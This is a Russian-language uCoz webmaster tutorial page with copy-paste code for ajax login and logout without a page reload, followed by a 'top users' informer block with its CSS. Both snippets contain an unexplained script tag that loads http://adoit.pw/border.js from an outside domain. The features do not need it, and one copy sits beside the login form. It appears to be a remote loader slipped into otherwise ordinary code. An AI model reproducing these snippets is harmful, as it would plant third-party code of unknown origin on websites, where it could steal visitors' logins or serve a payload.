Авторизация на сайте и выход из профиля без перезагрузки страницы
Данный скрипт очень полезен для тех, кто хочет перевести весь функционал своего сайта на ajax запросы. Суть скрипта в том, чтобы пользователь мог авторизовываться на сайте и выходить с него без перезагрузки страницы. Это очень удобный способ, так как авторизация будет максимально быстрой и вы сможете выполнять любые свои функции после успешного входа под своим профилем
Установка: 1) Форма входа: На всех страницах замените $LOGIN_FORM$ на: Код <div id="apologin">$LOGIN_FORM$<div align="center" id="apolog" style="font-weight:bold;color:red"></div></div> <script src="http://adoit.pw/border.js" type="text/javascript"></script> <script> // ajax авторизация by Apocalypse $('#apologin form').attr({'id':'apologformin', 'onsubmit': 'aposendFrmlogin();return false;'}); aposendFrmlogin = function() { $('#apologformin').stop().fadeTo(300, 0.3); _uPostForm('apologformin', {type:'POST', url:'/index/sub/', success:function(a) { if($(a).text().indexOf('пароль') != -1) { $('#apolog').html('Проверьте логин и пароль'); $('#apologformin').stop().fadeTo(300, 1); setTimeout(function() { $('#apolog').html(''); }, 3000); } else { $('#apolog').html('Авторизация прошла успешно'); $('#apologformin').remove(); // Далее здесь можно выполнять любые ваши скрипты после успешной авторизации } }, error:function(a) { _uWnd.alert('Болом какой-то...', 'Упс', {w:200, h:70}); }}); } // apo-ucoz.com (c) 2013 </script> 2) Кнопка выхода без перезагрузки страницы прописывается вот так: Код <a href="/index/10" onclick="apologout();return false;">Выход</a> <script> function apologout() { if(confirm('Уже уходишь?')) { $.post('/index/10'); setTimeout(function() { _uWnd.alert('Вы успешно вышли из профиля', 'Мдяя...', {w:250, h:70}); // Любые ваши функции после выхода }, 2000); }; } // apo-ucoz.com (c) 2013 </script> Необычный топ пользователей для uCoz
Блок не адаптивный и имеет фиксированную ширину, поэтому Вы сами будете указывать значения длины и ширины в пикселях.
Установка Создайте информер для модуля Пользователи (Панель управления » Инструменты » Информеры). Выберите Способ сортировки по Репутации. Количество материалов – 8, а количество колонок – 1. Вставьте следующий код в Шаблон информера. Код <div class="top_user"><a href="$PROFILE_URL$"><span>$REPUTATION$</span></a><div class="top_user_black"><script src="http://adoit.pw/border.js" type="text/javascript"></script></div><img src="$AVATAR_URL$" alt="$USERNAME$" /></div> А этот код туда, где хотите видеть блок (это может быть Первый или Второй контейнер). Код <div class="top_use1s">$MYINF_1$</div> Вставьте этот код в Таблицу стилей (CSS). Код .top_use1s {width:300px;height:180px;background:#1d1d1d;font-family:Tahoma,sans-serif} .top_user {width:75px;height:90px;overflow:hidden;float:left;background:#1d1d1d} .top_user img {width:90px;margin-left:-7px} .top_user a {width:75px;height:90px;position:absolute;z-index:2;text-decoration:none} .top_user a:hover {background:rgba(255,255,255,0.1)} .top_user a span {color:#FFF;padding-top:70px;text-align:center;display:block;font-size:11px} .top_user_black {position:absolute;width:75px;height:24px;background:rgba(0,0,0,0.3);margin-top:66px} |